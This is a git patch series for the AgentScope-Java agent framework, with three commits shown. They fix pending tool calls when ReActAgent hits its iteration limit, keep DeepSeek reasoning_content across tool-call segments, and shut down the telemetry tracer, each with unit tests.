From 70ba54eb566aba9f7e03867b483fafae0a2dde09 Mon Sep 17 00:00:00 2001 From: Wang Zhiyang <1208931582@qq.com> Date: Thu, 21 May 2026 10:45:21 +0800 Subject: [PATCH 1/9] fix(core): handle pending tool calls when maxIters reached (#1005) (#1261) ## AgentScope-Java Version io.agentscope:agentscope-parent:pom:1.0.12-SNAPSHOT ## Description Closes #1005 This PR fixes a session-state consistency bug in ReActAgent when maxIters is reached with pending tool calls. What was wrong: - If an iteration ended at maxIters while there were unresolved ToolUseBlocks, the agent could leave memory with tool_use entries but no matching tool_result. - On the next user turn, validation throw failed. ## Checklist Please check the following items before code is ready to be reviewed. - [x] Code has been formatted with `mvn spotless:apply` - [x] All tests are passing (`mvn test`) - [ ] Javadoc comments are complete and follow project conventions - [ ] Related documentation has been updated (e.g. links, examples, etc.) - [x] Code is ready for review --------- Co-authored-by: Fancy-hjyp <2594297576@qq.com> --- .../java/io/agentscope/core/ReActAgent.java | 22 ++ .../core/agent/ReActAgentSummarizingTest.java | 317 ++++++++++++++++++ 2 files changed, 339 insertions(+) diff --git a/agentscope-core/src/main/java/io/agentscope/core/ReActAgent.java b/agentscope-core/src/main/java/io/agentscope/core/ReActAgent.java index d65968f0e..aa74dfea8 100644 --- a/agentscope-core/src/main/java/io/agentscope/core/ReActAgent.java +++ b/agentscope-core/src/main/java/io/agentscope/core/ReActAgent.java @@ -828,6 +828,28 @@ private Mono notifyPostActingHook( protected Mono summarizing() { log.debug("Maximum iterations reached. Generating summary..."); + // Handle pending tool calls that were not completed before max iterations + if (hasPendingToolUse()) { + List pendingTools = extractPendingToolCalls(); + log.warn( + "Max iterations reached with {} pending tool calls. Adding error results.", + pendingTools.size()); + + for (ToolUseBlock toolUse : pendingTools) { + ToolResultBlock errorResult = + buildErrorToolResult( + toolUse.getId(), + "Tool execution cancelled because maximum iterations limit (" + + maxIters + + ") was reached"); + + Msg errorResultMsg = + ToolResultMessageBuilder.buildToolResultMsg( + errorResult, toolUse, getName()); + memory.addMessage(errorResultMsg); + } + } + List messageList = prepareSummaryMessages(); GenerateOptions generateOptions = buildGenerateOptions(); diff --git a/agentscope-core/src/test/java/io/agentscope/core/agent/ReActAgentSummarizingTest.java b/agentscope-core/src/test/java/io/agentscope/core/agent/ReActAgentSummarizingTest.java index 797c2f524..3e524c0fd 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/agent/ReActAgentSummarizingTest.java +++ b/agentscope-core/src/test/java/io/agentscope/core/agent/ReActAgentSummarizingTest.java @@ -28,9 +28,11 @@ import io.agentscope.core.message.Msg; import io.agentscope.core.message.MsgRole; import io.agentscope.core.message.TextBlock; +import io.agentscope.core.message.ToolResultBlock; import io.agentscope.core.message.ToolUseBlock; import io.agentscope.core.model.ChatResponse; import io.agentscope.core.model.ChatUsage; +import java.lang.reflect.Method; import java.time.Duration; import java.util.List; import java.util.Map; @@ -397,4 +399,319 @@ void testSummaryAddedToMemory() { assertEquals( MsgRole.ASSISTANT, lastMessage.getRole(), "Summary message should be ASSISTANT"); } + + @Test + @DisplayName("Should handle second call after maxIters with pending tool calls - Issue #1005") + void testSecondCallAfterMaxItersWithPendingToolCalls() { + // This test reproduces the bug reported in Issue #1005: + // 1. User has multi-round conversation with tool call + // 2. Tool doesn't respond (or times out), leaving pending tool calls + // 3. maxIters is reached, session auto-ends + // 4. User sends new message -> Should NOT throw IllegalStateException + + InMemoryMemory memory = new InMemoryMemory(); + final String toolId = "call_638e428da2cf48ceb8b05762"; + + // Mock model that returns a tool call on first call, then summary + final int[] callCount = {0}; + MockModel mockModel = + new MockModel( + messages -> { + int callNum = callCount[0]++; + if (callNum == 0) { + // First call: return tool use block (simulating tool call) + return List.of( + ChatResponse.builder() + .id("msg_0") + .content( + List.of( + ToolUseBlock.builder() + .name("search_tool") + .id(toolId) + .input( + Map.of( + "query", + "test")) + .build())) + .usage(new ChatUsage(10, 20, 30)) + .build()); + } else { + // Second call: summarizing (because maxIters=1 reached) + return List.of( + ChatResponse.builder() + .id("msg_summary") + .content( + List.of( + TextBlock.builder() + .text( + "I reached the" + + " maximum" + + " iteration" + + " limit." + + " Please try" + + " again.") + .build())) + .usage(new ChatUsage(10, 20, 30)) + .build()); + } + }); + + MockToolkit mockToolkit = new MockToolkit(); + + // Create agent with maxIters=1 to quickly trigger summarizing + ReActAgent agent = + ReActAgent.builder() + .name("TestAgent") + .sysPrompt("You are a helpful assistant.") + .model(mockModel) + .toolkit(mockToolkit) + .memory(memory) + .maxIters(1) + .build(); + + // First user message - triggers tool call and maxIters summarizing + Msg firstUserMsg = TestUtils.createUserMessage("User", "Please search for something"); + Msg firstResponse = + agent.call(firstUserMsg) + .block(Duration.ofMillis(TestConstants.DEFAULT_TEST_TIMEOUT_MS)); + + // Verify first response + assertNotNull(firstResponse, "First response should not be null"); + assertEquals(MsgRole.ASSISTANT, firstResponse.getRole()); + + // CRITICAL: Verify that the pending tool call has been resolved in memory + // Before the fix, memory would have pending tool calls without results + // After the fix, summarizing() should add error results for pending tools + List memoryMessages = memory.getMessages(); + + // Find if there's a tool result message for the pending tool + boolean hasToolResultForPendingTool = + memoryMessages.stream() + .flatMap(m -> m.getContentBlocks(ToolResultBlock.class).stream()) + .anyMatch(tr -> tr.getId() != null && tr.getId().equals(toolId)); + + assertTrue( + hasToolResultForPendingTool, + "Memory should contain error result for pending tool call after summarizing"); + + Msg pendingToolResultMsg = + memoryMessages.stream() + .filter( + m -> + m.getContentBlocks(ToolResultBlock.class).stream() + .anyMatch( + tr -> + tr.getId() != null + && tr.getId() + .equals(toolId))) + .findFirst() + .orElse(null); + assertNotNull(pendingToolResultMsg, "Pending tool call should have a result message"); + assertEquals( + MsgRole.TOOL, + pendingToolResultMsg.getRole(), + "Pending tool error result should be stored as TOOL message"); + + // Verify the tool result indicates cancellation due to max iterations + ToolResultBlock toolResult = + memoryMessages.stream() + .flatMap(m -> m.getContentBlocks(ToolResultBlock.class).stream()) + .filter(tr -> tr.getId() != null && tr.getId().equals(toolId)) + .findFirst() + .orElse(null); + + // Tool result should be present (either from toolkit or from summarizing fix) + assertNotNull(toolResult); + + // SECOND CALL - This is the critical test for Issue #1005 + // Before the fix, this would throw: + // IllegalStateException: Cannot add messages without tool results when pending tool calls + // exist + + // Reset model for second user interaction + final int[] secondCallCount = {0}; + MockModel secondMockModel = + new MockModel( + messages -> { + int callNum = secondCallCount[0]++; + if (callNum == 0) { + return List.of( + ChatResponse.builder() + .id("msg_second_0") + .content( + List.of( + TextBlock.builder() + .text( + "Hello! How can I" + + " help you" + + " today?") + .build())) + .usage(new ChatUsage(5, 10, 15)) + .build()); + } + return List.of(); + }); + + ReActAgent secondAgent = + ReActAgent.builder() + .name("TestAgent") + .sysPrompt("You are a helpful assistant.") + .model(secondMockModel) + .toolkit(mockToolkit) + .memory(memory) // Same memory + .maxIters(2) + .build(); + + // Second user message - this would throw IllegalStateException before the fix + Msg secondUserMsg = TestUtils.createUserMessage("User", "Hello again"); + + // This should NOT throw: "Cannot add messages without tool results when pending tool calls + // exist" + Msg secondResponse = + secondAgent + .call(secondUserMsg) + .block(Duration.ofMillis(TestConstants.DEFAULT_TEST_TIMEOUT_MS)); + + // Verify second response succeeded + assertNotNull(secondResponse, "Second response should not be null"); + assertEquals(MsgRole.ASSISTANT, secondResponse.getRole()); + assertTrue( + secondResponse.getFirstContentBlock() instanceof TextBlock, + "Second response should contain TextBlock"); + + TextBlock secondText = (TextBlock) secondResponse.getFirstContentBlock(); + assertEquals("Hello! How can I help you today?", secondText.getText()); + } + + @Test + @DisplayName("Should add exactly one TOOL result for each pending tool during summarizing") + void testSummarizingAddsOneToolResultPerPendingTool() { + InMemoryMemory memory = new InMemoryMemory(); + final String toolId1 = "call_pending_1"; + final String toolId2 = "call_pending_2"; + + Msg pendingAssistantMsg = + Msg.builder() + .name("TestAgent") + .role(MsgRole.ASSISTANT) + .content( + List.of( + ToolUseBlock.builder() + .name("search_tool") + .id(toolId1) + .input(Map.of("query", "weather")) + .build(), + ToolUseBlock.builder() + .name("search_tool") + .id(toolId2) + .input(Map.of("query", "news")) + .build())) + .build(); + memory.addMessage(pendingAssistantMsg); + + MockModel mockModel = + new MockModel( + messages -> + List.of( + ChatResponse.builder() + .id("msg_summary") + .content( + List.of( + TextBlock.builder() + .text( + "Iteration limit" + + " reached.") + .build())) + .usage(new ChatUsage(10, 20, 30)) + .build())); + + MockToolkit mockToolkit = new MockToolkit(); + ReActAgent agent = + ReActAgent.builder() + .name("TestAgent") + .sysPrompt("You are a helpful assistant.") + .model(mockModel) + .toolkit(mockToolkit) + .memory(memory) + .maxIters(1) + .build(); + + Msg summaryResponse = invokeSummarizing(agent); + assertNotNull(summaryResponse, "Summary response should not be null"); + + List memoryMessages = memory.getMessages(); + + long toolId1ToolRoleCount = + memoryMessages.stream() + .filter(m -> m.getRole() == MsgRole.TOOL) + .filter( + m -> + m.getContentBlocks(ToolResultBlock.class).stream() + .anyMatch( + tr -> + tr.getId() != null + && tr.getId() + .equals(toolId1))) + .count(); + long toolId2ToolRoleCount = + memoryMessages.stream() + .filter(m -> m.getRole() == MsgRole.TOOL) + .filter( + m -> + m.getContentBlocks(ToolResultBlock.class).stream() + .anyMatch( + tr -> + tr.getId() != null + && tr.getId() + .equals(toolId2))) + .count(); + + assertEquals( + 1L, toolId1ToolRoleCount, "toolId1 should have exactly one TOOL result message"); + assertEquals( + 1L, toolId2ToolRoleCount, "toolId2 should have exactly one TOOL result message"); + + long toolId1NonToolRoleCount = + memoryMessages.stream() + .filter(m -> m.getRole() != MsgRole.TOOL) + .filter( + m -> + m.getContentBlocks(ToolResultBlock.class).stream() + .anyMatch( + tr -> + tr.getId() != null + && tr.getId() + .equals(toolId1))) + .count(); + long toolId2NonToolRoleCount = + memoryMessages.stream() + .filter(m -> m.getRole() != MsgRole.TOOL) + .filter( + m -> + m.getContentBlocks(ToolResultBlock.class).stream() + .anyMatch( + tr -> + tr.getId() != null + && tr.getId() + .equals(toolId2))) + .count(); + + assertEquals( + 0L, toolId1NonToolRoleCount, "toolId1 should not have non-TOOL result messages"); + assertEquals( + 0L, toolId2NonToolRoleCount, "toolId2 should not have non-TOOL result messages"); + } + + private static Msg invokeSummarizing(ReActAgent agent) { + try { + Method method = ReActAgent.class.getDeclaredMethod("summarizing"); + method.setAccessible(true); + @SuppressWarnings("unchecked") + reactor.core.publisher.Mono mono = + (reactor.core.publisher.Mono) method.invoke(agent); + return mono.block(Duration.ofMillis(TestConstants.DEFAULT_TEST_TIMEOUT_MS)); + } catch (Exception e) { + throw new RuntimeException("Failed to invoke summarizing()", e); + } + } } From 4f16706cc5fd91a0fb60756c6dabdf0966868ff8 Mon Sep 17 00:00:00 2001 From: Monkey <86773392+Mrjyw@users.noreply.github.com> Date: Thu, 21 May 2026 11:38:35 +0800 Subject: [PATCH 2/9] =?UTF-8?q?fix(formatter):=20preserve=20reasoning=5Fco?= =?UTF-8?q?ntent=20for=20tool-call=20segments=20in=20=E2=80=A6=20(#1323)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit When thinking mode is enabled and a user turn contains tool calls, all assistant messages in that turn must preserve their reasoning_content when sent back to the DeepSeek API in subsequent requests. Previously, reasoning_content was only kept for the current turn, causing HTTP 400 errors in multi-turn tool-calling scenarios. See: https://api-docs.deepseek.com/guides/thinking_mode#tool-calls Fixes #1281 ## AgentScope-Java Version 1.0.12-SNAPSHOT ## Description **Background:** DeepSeek's thinking mode requires `reasoning_content` to be preserved for all assistant messages within a user turn that contains tool calls. The original code only preserved it for the current turn, causing HTTP 400 errors in multi-turn tool-calling scenarios. **Changes:** - `applyDeepSeekFixes()`: Added segment-level tool call detection via `computeSegmentToolFlags()`. A segment is defined as messages between two consecutive user messages. If any message in a segment contains tool calls, all assistant messages in that segment are flagged to preserve their `reasoning_content`. - `fixMessage()`: Renamed parameter from `isCurrentTurn` to `needReasoning` to reflect that preservation is now determined by the segment analysis, not just the turn boundary. - Added `ReasoningPreservationTests` nested test class covering key scenarios: non-thinking mode fallback, multiple rounds with tool calls, mixed text/tool rounds, text-only messages in tool-call segments, and regression for text-only segments. ## Checklist - [x] Code has been formatted with `mvn spotless:apply` - [x] All tests are passing (`mvn test`) - [x] Javadoc comments are complete and follow project conventions - [ ] Related documentation has been updated - [x] Code is ready for review --- .../formatter/openai/DeepSeekFormatter.java | 55 +++- .../openai/DeepSeekFormatterTest.java | 271 ++++++++++++++++++ 2 files changed, 316 insertions(+), 10 deletions(-) diff --git a/agentscope-core/src/main/java/io/agentscope/core/formatter/openai/DeepSeekFormatter.java b/agentscope-core/src/main/java/io/agentscope/core/formatter/openai/DeepSeekFormatter.java index 4980c494b..2451ef464 100644 --- a/agentscope-core/src/main/java/io/agentscope/core/formatter/openai/DeepSeekFormatter.java +++ b/agentscope-core/src/main/java/io/agentscope/core/formatter/openai/DeepSeekFormatter.java @@ -29,7 +29,7 @@ *
  • No name field in messages (returns HTTP 400 if present)
    • *
  • System messages should be converted to user messages
    • *
  • Does NOT support strict parameter in tool definitions
    • - *
  • reasoning_content must be kept within current turn but removed for previous turns
    • + *
  • In thinking mode, reasoning_content is preserved for segments with tool calls
    • * * *

    Usage: @@ -85,8 +85,8 @@ protected boolean supportsStrict() { *

      *
    • No name field in messages
      • *
    • System messages converted to user
      • - *
    • reasoning_content kept within current turn (after last user message)
      • - *
    • reasoning_content removed for previous turns (before last user message)
      • + *
    • In thinking mode, reasoning_content preserved for segments with tool calls
      • + *
    • reasoning_content removed for segments without tool calls in thinking mode
      • *
    * *

    This method is static to allow sharing with {@link DeepSeekMultiAgentFormatter}. @@ -95,16 +95,51 @@ protected boolean supportsStrict() { * @return the fixed messages for DeepSeek API */ static List applyDeepSeekFixes(List messages) { - // Find the last user message index to determine current turn boundary int lastUserIndex = findLastUserIndex(messages); + boolean thinkingMode = messages.stream().anyMatch(m -> m.getReasoningContent() != null); + boolean[] segHasTool = thinkingMode ? computeSegmentToolFlags(messages) : null; List result = new ArrayList<>(messages.size()); for (int i = 0; i < messages.size(); i++) { - result.add(fixMessage(messages.get(i), i >= lastUserIndex)); + boolean isCurrentTurn = i >= lastUserIndex; + boolean needReasoning = + thinkingMode + ? (isCurrentTurn || (segHasTool != null && segHasTool[i])) + : isCurrentTurn; + result.add(fixMessage(messages.get(i), needReasoning)); } return result; } + /** + * Scans messages in a single pass to identify segments (between consecutive + * user messages) that contain tool calls. Messages within such segments + * are flagged to preserve their reasoning_content. + */ + private static boolean[] computeSegmentToolFlags(List messages) { + boolean[] flags = new boolean[messages.size()]; + int prevUser = -1; + for (int i = 0; i <= messages.size(); i++) { + if (i == messages.size() || "user".equals(messages.get(i).getRole())) { + if (prevUser >= 0) { + // Check if segment (prevUser, i) has any tool call + boolean hasTool = false; + for (int j = prevUser + 1; j < i && !hasTool; j++) { + OpenAIMessage m = messages.get(j); + hasTool = m.getToolCalls() != null && !m.getToolCalls().isEmpty(); + } + if (hasTool) { + for (int j = prevUser + 1; j < i; j++) { + flags[j] = true; + } + } + } + prevUser = i; + } + } + return flags; + } + /** * Append an empty user message if the conversation ends with an assistant message. * @@ -133,12 +168,13 @@ private static int findLastUserIndex(List messages) { } @SuppressWarnings("unchecked") - private static OpenAIMessage fixMessage(OpenAIMessage msg, boolean isCurrentTurn) { + private static OpenAIMessage fixMessage(OpenAIMessage msg, boolean needReasoning) { boolean isSystem = "system".equals(msg.getRole()); boolean hasName = msg.getName() != null; boolean hasReasoning = msg.getReasoningContent() != null; - // Remove reasoning_content for previous turns, keep for current turn - boolean shouldRemoveReasoning = hasReasoning && !isCurrentTurn; + // needReasoning is determined by applyDeepSeekFixes: + // true = current turn, or segment had tool calls in thinking mode + boolean shouldRemoveReasoning = hasReasoning && !needReasoning; if (!isSystem && !hasName && !shouldRemoveReasoning) { return msg; @@ -162,8 +198,7 @@ private static OpenAIMessage fixMessage(OpenAIMessage msg, boolean isCurrentTurn builder.toolCallId(msg.getToolCallId()); } - // Keep reasoning_content only for current turn - if (hasReasoning && isCurrentTurn) { + if (needReasoning && hasReasoning) { builder.reasoningContent(msg.getReasoningContent()); } diff --git a/agentscope-core/src/test/java/io/agentscope/core/formatter/openai/DeepSeekFormatterTest.java b/agentscope-core/src/test/java/io/agentscope/core/formatter/openai/DeepSeekFormatterTest.java index 5c04b6778..a40351a01 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/formatter/openai/DeepSeekFormatterTest.java +++ b/agentscope-core/src/test/java/io/agentscope/core/formatter/openai/DeepSeekFormatterTest.java @@ -327,6 +327,277 @@ void testReturnUnchangedIfNoFixesNeeded() { // Same object reference if no changes assertEquals(original, result.get(0)); } + } + + @Nested + @DisplayName("Reasoning Preservation for Thinking Mode") + class ReasoningPreservationTests { + + @Test + @DisplayName("Should use original behavior when thinking mode is not enabled") + void testShouldUseOriginalBehaviorWithoutThinkingMode() { + // No reasoning_content in any message → thinking mode is off. + // Falls back to original logic: only current turn keeps reasoning. + List messages = + List.of( + OpenAIMessage.builder().role("user").content("Search it").build(), + OpenAIMessage.builder() + .role("assistant") + .name("Agent") + .toolCalls( + List.of( + OpenAIToolCall.builder() + .id("call_1") + .type("function") + .function( + OpenAIFunction.of( + "web_search", + "{\"q\":\"x\"}")) + .build())) + .build(), + OpenAIMessage.builder().role("user").content("Search again").build(), + OpenAIMessage.builder() + .role("assistant") + .name("Agent") + .toolCalls( + List.of( + OpenAIToolCall.builder() + .id("call_2") + .type("function") + .function( + OpenAIFunction.of( + "web_search", + "{\"q\":\"y\"}")) + .build())) + .build()); + + List result = DeepSeekFormatter.applyDeepSeekFixes(messages); + + assertEquals(4, result.size()); + // name removed in both messages (original behavior still applies) + assertNull(result.get(1).getName()); + assertNull(result.get(3).getName()); + // tool_calls preserved + assertNotNull(result.get(1).getToolCalls()); + assertNotNull(result.get(3).getToolCalls()); + } + + @Test + @DisplayName("Should preserve reasoning_content across multiple rounds with tool calls") + void testShouldPreserveReasoningAcrossMultipleRounds() { + // Three consecutive rounds, each with a tool call. + // When thinking mode is enabled and tool calls were made, DeepSeek API + // requires reasoning_content to be preserved for all rounds (not just + // the current turn), even when there are no tool_calls in the message + // itself. + // See: https://api-docs.deepseek.com/guides/thinking_mode#tool-calls + List messages = + List.of( + OpenAIMessage.builder().role("user").content("Question 1").build(), + OpenAIMessage.builder() + .role("assistant") + .reasoningContent("Reasoning round 1") + .toolCalls( + List.of( + OpenAIToolCall.builder() + .id("c1") + .type("function") + .function( + OpenAIFunction.of( + "tool_a", "{}")) + .build())) + .build(), + OpenAIMessage.builder().role("user").content("Question 2").build(), + OpenAIMessage.builder() + .role("assistant") + .reasoningContent("Reasoning round 2") + .toolCalls( + List.of( + OpenAIToolCall.builder() + .id("c2") + .type("function") + .function( + OpenAIFunction.of( + "tool_b", "{}")) + .build())) + .build(), + OpenAIMessage.builder().role("user").content("Question 3").build(), + OpenAIMessage.builder() + .role("assistant") + .reasoningContent("Reasoning round 3") + .toolCalls( + List.of( + OpenAIToolCall.builder() + .id("c3") + .type("function") + .function( + OpenAIFunction.of( + "tool_c", "{}")) + .build())) + .build()); + + List result = DeepSeekFormatter.applyDeepSeekFixes(messages); + + assertEquals(6, result.size()); + // All three rounds had tool calls, so all reasoning should be preserved + assertEquals("Reasoning round 1", result.get(1).getReasoningContent()); + assertEquals("Reasoning round 2", result.get(3).getReasoningContent()); + assertEquals("Reasoning round 3", result.get(5).getReasoningContent()); + } + + @Test + @DisplayName("Should only preserve reasoning_content for segments that had tool calls") + void testShouldOnlyPreserveReasoningForSegmentsWithToolCalls() { + // Round 1: text only, no tool calls → reasoning not needed, should be removed + // Round 2: has tool calls → reasoning must be preserved + // Round 3: has tool calls → reasoning must be preserved + // Round 4: text only, current turn → reasoning preserved as usual + List messages = + List.of( + OpenAIMessage.builder().role("user").content("Hello").build(), + OpenAIMessage.builder() + .role("assistant") + .content("Hi, how can I help?") + .reasoningContent("Just greeting, reply directly") + .build(), + OpenAIMessage.builder().role("user").content("Search DeepSeek").build(), + OpenAIMessage.builder() + .role("assistant") + .reasoningContent("Need to call search tool") + .toolCalls( + List.of( + OpenAIToolCall.builder() + .id("c1") + .type("function") + .function( + OpenAIFunction.of( + "web_search", + "{\"q\":\"DeepSeek\"}")) + .build())) + .build(), + OpenAIMessage.builder().role("user").content("Check wiki too").build(), + OpenAIMessage.builder() + .role("assistant") + .reasoningContent("Query wiki") + .toolCalls( + List.of( + OpenAIToolCall.builder() + .id("c2") + .type("function") + .function( + OpenAIFunction.of( + "wiki_search", + "{\"q\":\"DeepSeek\"}")) + .build())) + .build(), + OpenAIMessage.builder().role("user").content("Summarize").build(), + OpenAIMessage.builder() + .role("assistant") + .content("DeepSeek is...") + .reasoningContent("Summarizing results") + .build()); + + List result = DeepSeekFormatter.applyDeepSeekFixes(messages); + + assertEquals(8, result.size()); + assertNull(result.get(1).getReasoningContent()); + assertEquals("Need to call search tool", result.get(3).getReasoningContent()); + assertEquals("Query wiki", result.get(5).getReasoningContent()); + assertEquals("Summarizing results", result.get(7).getReasoningContent()); + } + + @Test + @DisplayName( + "Should preserve reasoning_content for text-only assistant in a tool-call segment") + void testShouldPreserveReasoningForTextOnlyAssistantInToolCallSegment() { + // Within a single user turn, the model first calls a tool, then gives a final text + // answer. Even the text-only assistant message must keep its reasoning_content + // because the segment had tool calls. + List messages = + List.of( + OpenAIMessage.builder().role("user").content("What time is it").build(), + OpenAIMessage.builder() + .role("assistant") + .reasoningContent("Need to call get_time tool") + .toolCalls( + List.of( + OpenAIToolCall.builder() + .id("call_1") + .type("function") + .function( + OpenAIFunction.of( + "get_time", "{}")) + .build())) + .build(), + OpenAIMessage.builder() + .role("tool") + .toolCallId("call_1") + .content("14:06:51") + .build(), + OpenAIMessage.builder() + .role("assistant") + .content("It is now 14:06") + .reasoningContent( + "The current time based on the tool result is 14:06") + .build(), + OpenAIMessage.builder().role("user").content("Check again").build(), + OpenAIMessage.builder() + .role("assistant") + .reasoningContent("Fetch time again") + .toolCalls( + List.of( + OpenAIToolCall.builder() + .id("call_2") + .type("function") + .function( + OpenAIFunction.of( + "get_time", "{}")) + .build())) + .build()); + + List result = DeepSeekFormatter.applyDeepSeekFixes(messages); + + assertEquals(6, result.size()); + assertEquals("Need to call get_time tool", result.get(1).getReasoningContent()); + assertEquals( + "The current time based on the tool result is 14:06", + result.get(3).getReasoningContent()); + assertEquals("Fetch time again", result.get(5).getReasoningContent()); + } + + @Test + @DisplayName("Should remove reasoning_content for previous turns without tool calls") + void testShouldRemoveReasoningForPreviousTurnsWithoutToolCalls() { + // Previous-turn text-only messages without tool calls should have + // reasoning_content removed to save context space. + List messages = + List.of( + OpenAIMessage.builder().role("user").content("Hello").build(), + OpenAIMessage.builder() + .role("assistant") + .content("Hi there!") + .reasoningContent("Just greeting, reply directly") + .build(), + OpenAIMessage.builder().role("user").content("Goodbye").build(), + OpenAIMessage.builder() + .role("assistant") + .content("Goodbye!") + .reasoningContent("User is saying goodbye") + .build()); + + List result = DeepSeekFormatter.applyDeepSeekFixes(messages); + + assertEquals(4, result.size()); + // Previous turn text-only → reasoning removed + assertNull(result.get(1).getReasoningContent()); + // Current turn → reasoning preserved + assertEquals("User is saying goodbye", result.get(3).getReasoningContent()); + } + } + + @Nested + @DisplayName("applyDeepSeekFixes Tests (continued)") + class ApplyDeepSeekFixesContinued { @Test @DisplayName("Should handle no user messages - treat all as current turn") From 2df57025fcb3c7fe01022df55f401f6be890ff6e Mon Sep 17 00:00:00 2001 From: Wang Zhiyang <1208931582@qq.com> Date: Thu, 21 May 2026 11:52:25 +0800 Subject: [PATCH 3/9] fix(studio): release telemetry tracer on shutdown (#828) (#1342) ## AgentScope-Java Version io.agentscope:agentscope-parent:pom:1.0.13-SNAPSHOT ## Description * Closes: #828 * Release telemetry tracer on shutdown ## Checklist Please check the following items before code is ready to be reviewed. - [x] Code has been formatted with `mvn spotless:apply` - [x] All tests are passing (`mvn test`) - [ ] Javadoc comments are complete and follow project conventions - [ ] Related documentation has been updated (e.g. links, examples, etc.) - [x] Code is ready for review --- .../io/agentscope/core/tracing/Tracer.java | 2 + .../core/tracing/TracerRegistry.java | 7 +++ .../core/tracing/TracerRegistryTest.java | 59 +++++++++++++++++++ .../agentscope/core/studio/StudioManager.java | 1 + .../tracing/telemetry/TelemetryTracer.java | 19 +++++- 5 files changed, 86 insertions(+), 2 deletions(-) create mode 100644 agentscope-core/src/test/java/io/agentscope/core/tracing/TracerRegistryTest.java diff --git a/agentscope-core/src/main/java/io/agentscope/core/tracing/Tracer.java b/agentscope-core/src/main/java/io/agentscope/core/tracing/Tracer.java index 26ae7a51f..c3d1e3c92 100644 --- a/agentscope-core/src/main/java/io/agentscope/core/tracing/Tracer.java +++ b/agentscope-core/src/main/java/io/agentscope/core/tracing/Tracer.java @@ -65,4 +65,6 @@ default List callFormat( default TResp runWithContext(ContextView reactorCtx, Supplier inner) { return inner.get(); } + + default void shutdown() {} } diff --git a/agentscope-core/src/main/java/io/agentscope/core/tracing/TracerRegistry.java b/agentscope-core/src/main/java/io/agentscope/core/tracing/TracerRegistry.java index adced638b..eb1f9c2b5 100644 --- a/agentscope-core/src/main/java/io/agentscope/core/tracing/TracerRegistry.java +++ b/agentscope-core/src/main/java/io/agentscope/core/tracing/TracerRegistry.java @@ -147,6 +147,13 @@ public static void register(Tracer tracer) { } } + public static void resetToNoop() { + Tracer previousTracer = TracerRegistry.tracer; + TracerRegistry.tracer = new NoopTracer(); + disableTracingHook(); + previousTracer.shutdown(); + } + public static Tracer get() { return tracer; } diff --git a/agentscope-core/src/test/java/io/agentscope/core/tracing/TracerRegistryTest.java b/agentscope-core/src/test/java/io/agentscope/core/tracing/TracerRegistryTest.java new file mode 100644 index 000000000..e6ab76f6e --- /dev/null +++ b/agentscope-core/src/test/java/io/agentscope/core/tracing/TracerRegistryTest.java @@ -0,0 +1,59 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package io.agentscope.core.tracing; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertInstanceOf; + +import java.util.concurrent.atomic.AtomicInteger; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +@DisplayName("TracerRegistry Tests") +class TracerRegistryTest { + + @AfterEach + void tearDown() { + TracerRegistry.resetToNoop(); + } + + @Test + @DisplayName("resetToNoop() should shutdown current tracer and restore noop tracer") + void resetToNoopShouldShutdownCurrentTracer() { + CloseCountingTracer tracer = new CloseCountingTracer(); + TracerRegistry.register(tracer); + + TracerRegistry.resetToNoop(); + + assertEquals(1, tracer.shutdownCount()); + assertInstanceOf(NoopTracer.class, TracerRegistry.get()); + } + + static class CloseCountingTracer implements Tracer { + private final AtomicInteger shutdownCount = new AtomicInteger(); + + @Override + public void shutdown() { + shutdownCount.incrementAndGet(); + } + + int shutdownCount() { + return shutdownCount.get(); + } + } +} diff --git a/agentscope-extensions/agentscope-extensions-studio/src/main/java/io/agentscope/core/studio/StudioManager.java b/agentscope-extensions/agentscope-extensions-studio/src/main/java/io/agentscope/core/studio/StudioManager.java index ed3e8fd80..ea3433977 100644 --- a/agentscope-extensions/agentscope-extensions-studio/src/main/java/io/agentscope/core/studio/StudioManager.java +++ b/agentscope-extensions/agentscope-extensions-studio/src/main/java/io/agentscope/core/studio/StudioManager.java @@ -119,6 +119,7 @@ public static void shutdown() { config = null; client = null; wsClient = null; + TracerRegistry.resetToNoop(); } /** diff --git a/agentscope-extensions/agentscope-extensions-studio/src/main/java/io/agentscope/core/tracing/telemetry/TelemetryTracer.java b/agentscope-extensions/agentscope-extensions-studio/src/main/java/io/agentscope/core/tracing/telemetry/TelemetryTracer.java index d4b96d4d3..3c42a1cd2 100644 --- a/agentscope-extensions/agentscope-extensions-studio/src/main/java/io/agentscope/core/tracing/telemetry/TelemetryTracer.java +++ b/agentscope-extensions/agentscope-extensions-studio/src/main/java/io/agentscope/core/tracing/telemetry/TelemetryTracer.java @@ -67,9 +67,16 @@ public class TelemetryTracer implements Tracer { private final io.opentelemetry.api.trace.Tracer tracer; + private final SdkTracerProvider sdkTracerProvider; public TelemetryTracer(io.opentelemetry.api.trace.Tracer tracer) { + this(tracer, null); + } + + private TelemetryTracer( + io.opentelemetry.api.trace.Tracer tracer, SdkTracerProvider sdkTracerProvider) { this.tracer = tracer; + this.sdkTracerProvider = sdkTracerProvider; } @Override @@ -226,6 +233,13 @@ public TResp runWithContext(ContextView reactorCtx, Supplier inne return otelContext.wrapSupplier(inner).get(); } + @Override + public void shutdown() { + if (sdkTracerProvider != null) { + sdkTracerProvider.close(); + } + } + public static Builder builder() { return new Builder(); } @@ -294,14 +308,15 @@ public TelemetryTracer build() { exporterBuilder.addHeader(entry.getKey(), entry.getValue()); } - TracerProvider tracerProvider = + SdkTracerProvider tracerProvider = SdkTracerProvider.builder() .addSpanProcessor( BatchSpanProcessor.builder(exporterBuilder.build()).build()) .setSampler(Sampler.alwaysOn()) .build(); - return new TelemetryTracer(tracerProvider.get(INSTRUMENTATION_NAME, Version.VERSION)); + return new TelemetryTracer( + tracerProvider.get(INSTRUMENTATION_NAME, Version.VERSION), tracerProvider); } } } From 28ef28a12807c870e685403dc339d6114cf778e4 Mon Sep 17 